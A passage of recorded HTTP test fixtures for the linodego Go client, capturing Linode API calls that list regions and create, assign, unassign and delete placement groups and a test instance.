"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-test-1721675806113296000","region":"us-east","placement_group_type":"anti_affinity:local","placement_group_policy":"flexible"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups method: POST response: body: '{"id": 6252, "label": "linodego-test-1721675806113296000", "region": "us-east", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "221" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-45dul0x555hm","root_pass":"f82D1PSTS\u003cN8ifBb=i-b{eS5\u003c5C^5C.F[K.3/y7R;`8s''b`Gh}Arz278be(57iP7","image":"linode/debian9","firewall_id":37174,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 25232693, "label": "go-test-ins-45dul0x555hm", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.131.193"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "03530127a19b0fa7234dec4175db15f25a2adce1", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linodes":[25232693]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/6252/assign method: POST response: body: '{"id": 6252, "label": "linodego-test-1721675806113296000", "region": "us-east", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [{"linode_id": 25232693, "is_compliant": true}], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25232693 method: GET response: body: '{"id": 25232693, "label": "go-test-ins-45dul0x555hm", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.131.193"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "03530127a19b0fa7234dec4175db15f25a2adce1", "has_user_data": false, "placement_group": {"id": 6252, "label": "linodego-test-1721675806113296000", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "migrating_to": null}, "disk_encryption": "enabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linodes":[25232693]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/6252/unassign method: POST response: body: '{"id": 6252, "label": "linodego-test-1721675806113296000", "region": "us-east", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "221" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/6252 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestPlacementGroup_basic.yaml000066400000000000000000000464751474652371000324160ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-test-1721675804603477000","region":"us-east","placement_group_type":"anti_affinity:local","placement_group_policy":"flexible"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups method: POST response: body: '{"id": 6251, "label": "linodego-test-1721675804603477000", "region": "us-east", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "221" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - 